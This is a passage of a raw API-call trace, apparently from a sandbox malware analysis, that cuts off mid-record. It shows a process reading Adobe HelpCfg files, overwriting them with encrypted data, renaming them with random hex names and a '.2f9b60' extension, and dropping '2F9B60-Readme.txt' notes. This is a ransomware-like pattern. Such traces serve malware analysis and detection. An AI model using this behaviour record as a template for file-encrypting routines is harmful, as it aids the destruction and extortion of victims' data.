lpNumberOfBytesWritten=0x2db2f7d0, lpOverlapped=0x0 | out: lpBuffer=0x423ab190*, lpNumberOfBytesWritten=0x2db2f7d0*=0x118, lpOverlapped=0x0) returned 1 [0201.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0201.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c050 [0201.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c050) returned 1 [0201.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1c050 [0201.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c020 [0201.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bf60 [0201.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bf60) returned 1 [0201.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0201.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.349] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.349] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.349] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.349] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="27") returned 2 [0201.349] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="50") returned 2 [0201.349] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.349] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="09") returned 2 [0201.349] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="10") returned 2 [0201.349] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="55") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="84") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="23") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="dd") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="19") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="96") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="75") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="15") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="41") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="44") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="31") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="78") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="c9") returned 2 [0201.350] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="95") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="21") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="87") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="90") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.351] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="32") returned 2 [0201.351] RtlInitAnsiString (in: DestinationString=0x2db2f848, SourceString="6af7fb2750e509104f4d55d084e523dd199675b5aa15ce1e9b41f2443178c99521c18790f132" | out: DestinationString="6af7fb2750e509104f4d55d084e523dd199675b5aa15ce1e9b41f2443178c99521c18790f132") [0201.351] RtlAnsiStringToUnicodeString (in: DestinationString=0x2db2f818, SourceString="6af7fb2750e509104f4d55d084e523dd199675b5aa15ce1e9b41f2443178c99521c18790f132", AllocateDestinationString=1 | out: DestinationString="6af7fb2750e509104f4d55d084e523dd199675b5aa15ce1e9b41f2443178c99521c18790f132") returned 0x0 [0201.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a69e0 [0201.351] wcscat (in: _Dest=0x431a6930, _Source="6af7fb2750e509104f4" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4" [0201.351] wcscat (in: _Dest=0x431a6930, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4.2f9b60" [0201.351] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4.2f9b60", NtPathName=0x2db2f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\6af7fb2750e509104f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310a990 [0205.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a990) returned 1 [0205.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432075e0) returned 1 [0205.776] NtQueryInformationFile (in: FileHandle=0x750, IoStatusBlock=0x2db2f858, FileInformation=0x2db2f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2db2f858, FileInformation=0x2db2f868) returned 0x0 [0205.777] NtSetInformationFile (FileHandle=0x750, IoStatusBlock=0x2db2f858, FileInformation=0x2db2f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6930) returned 1 [0208.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a69e0) returned 1 [0208.596] FlushFileBuffers (hFile=0x750) returned 1 [0208.605] CloseHandle (hObject=0x750) returned 1 [0210.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187a80 [0210.560] wcscpy (in: _Dest=0x43187a80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" [0210.560] wcscat (in: _Dest=0x43187a80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\2F9B60-Readme.txt" [0210.560] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\2f9b60-readme.txt")) returned 0xffffffff [0210.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x132c [0215.280] WriteFile (in: hFile=0x132c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2db2f710, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2db2f710*=0xba9, lpOverlapped=0x0) returned 1 [0222.411] CloseHandle (hObject=0x132c) returned 1 [0224.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187a80) returned 1 [0224.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505c30) returned 1 Thread: id = 2525 os_tid = 0x1fe8 [0154.995] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\reader_10.0.helpcfg")) returned 0x20 [0154.995] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9f8 [0154.997] GetFileSizeEx (in: hFile=0x9f8, lpFileSize=0x311afa20 | out: lpFileSize=0x311afa20*=349) returned 1 [0154.997] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.997] ReadFile (in: hFile=0x9f8, lpBuffer=0x311af9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x311af9e8, lpOverlapped=0x0 | out: lpBuffer=0x311af9a0*, lpNumberOfBytesRead=0x311af9e8*=0x4, lpOverlapped=0x0) returned 1 [0154.998] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6d0 [0154.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda760 [0154.999] NtQuerySystemTime (in: CurrentTime=0x311af8e0 | out: CurrentTime=0x311af8e0*=132462177601258000) returned 0x0 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x186662a0 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x58966ce9 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x4fa3d052 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x712a05cd [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x38c0920b [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x68dc25ef [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0xaf013bb [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x3b3eef21 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x29a20766 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x7379ba2b [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x2bbccbca [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x5ec933de [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x55da5a1a [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x306a06b1 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x3daf1534 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x76a5a9e3 [0154.999] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0xa691b68 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x1d00a35a [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x2ee309e6 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x585e484a [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x5d234473 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x26d4c8b0 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x3abe64e1 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x254e031e [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0xfec4d5d [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x1a2a0691 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x3b4d7fb6 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x26c8adf8 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x31cab9bd [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x28105996 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x1ce061b4 [0155.000] RtlRandomEx (in: Seed=0x311af8d0 | out: Seed=0x311af8d0) returned 0x358d8560 [0155.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda790 [0155.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cdc0 [0155.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda7c0 [0155.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cdc0) returned 1 [0155.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda760) returned 1 [0155.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2290 [0155.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cdc0 [0155.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428b45f0 [0155.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428b8200 [0155.013] ReadFile (in: hFile=0x9f8, lpBuffer=0x428b45f0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x311af8d0, lpOverlapped=0x0 | out: lpBuffer=0x428b45f0*, lpNumberOfBytesRead=0x311af8d0*=0x15d, lpOverlapped=0x0) returned 1 [0155.013] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.013] WriteFile (hFile=0x9f8, lpBuffer=0x428b8200, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x311af8d4, lpOverlapped=0x0) [0192.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d30 [0192.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d60 [0192.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139d60) returned 1 [0192.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428b8200) returned 1 [0192.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428b45f0) returned 1 [0192.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cdc0) returned 1 [0192.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2290) returned 1 [0192.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d3b0 [0192.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2290 [0192.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cdc0 [0192.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d60 [0192.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139d60) returned 1 [0192.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d3f0 [0192.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d60 [0192.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d90 [0192.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139d90) returned 1 [0192.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cdc0) returned 1 [0192.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2290) returned 1 [0192.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa890 [0192.785] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.785] WriteFile (in: hFile=0x9f8, lpBuffer=0x423aa890*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x311af9f0, lpOverlapped=0x0 | out: lpBuffer=0x423aa890*, lpNumberOfBytesWritten=0x311af9f0*=0x118, lpOverlapped=0x0) returned 1 [0201.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2180 [0201.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2180) returned 1 [0201.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac2180 [0201.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2240 [0201.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3920 [0201.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3920) returned 1 [0201.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.294] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.294] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="e9") returned 2 [0201.294] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.294] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.294] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="be") returned 2 [0201.294] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="f9") returned 2 [0201.294] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="d3") returned 2 [0201.294] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="00") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="56") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="b1") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="21") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="29") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="0e") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="de") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="63") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="db") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="11") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="24") returned 2 [0201.294] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="ef") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="be") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="50") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="50") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="be") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="76") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="16") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="98") returned 2 [0201.295] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="70") returned 2 [0201.295] RtlInitAnsiString (in: DestinationString=0x311afa68, SourceString="8ae9cb2dbef9d30056b121290ede63eadb5c114f24efbead500f50bea876160b9c0bfdee9870" | out: DestinationString="8ae9cb2dbef9d30056b121290ede63eadb5c114f24efbead500f50bea876160b9c0bfdee9870") [0201.295] RtlAnsiStringToUnicodeString (in: DestinationString=0x311afa38, SourceString="8ae9cb2dbef9d30056b121290ede63eadb5c114f24efbead500f50bea876160b9c0bfdee9870", AllocateDestinationString=1 | out: DestinationString="8ae9cb2dbef9d30056b121290ede63eadb5c114f24efbead500f50bea876160b9c0bfdee9870") returned 0x0 [0201.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431ec610 [0201.297] wcscat (in: _Dest=0x431ec560, _Source="8ae9cb2dbef9d30056b" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b" [0201.297] wcscat (in: _Dest=0x431ec560, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b.2f9b60" [0201.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b.2f9b60", NtPathName=0x311afa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\8ae9cb2dbef9d30056b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119240 [0205.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0205.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43206690) returned 1 [0205.774] NtQueryInformationFile (in: FileHandle=0x9f8, IoStatusBlock=0x311afa78, FileInformation=0x311afa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x311afa78, FileInformation=0x311afa88) returned 0x0 [0205.774] NtSetInformationFile (FileHandle=0x9f8, IoStatusBlock=0x311afa78, FileInformation=0x311afa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec560) returned 1 [0208.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec610) returned 1 [0208.592] FlushFileBuffers (hFile=0x9f8) returned 1 [0208.600] CloseHandle (hObject=0x9f8) returned 1 [0210.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431879e0 [0210.559] wcscpy (in: _Dest=0x431879e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" [0210.559] wcscat (in: _Dest=0x431879e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\2F9B60-Readme.txt" [0210.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\pl_pl\\2f9b60-readme.txt")) returned 0xffffffff [0210.559] CreateFileW (lpFileName="C:\\Program 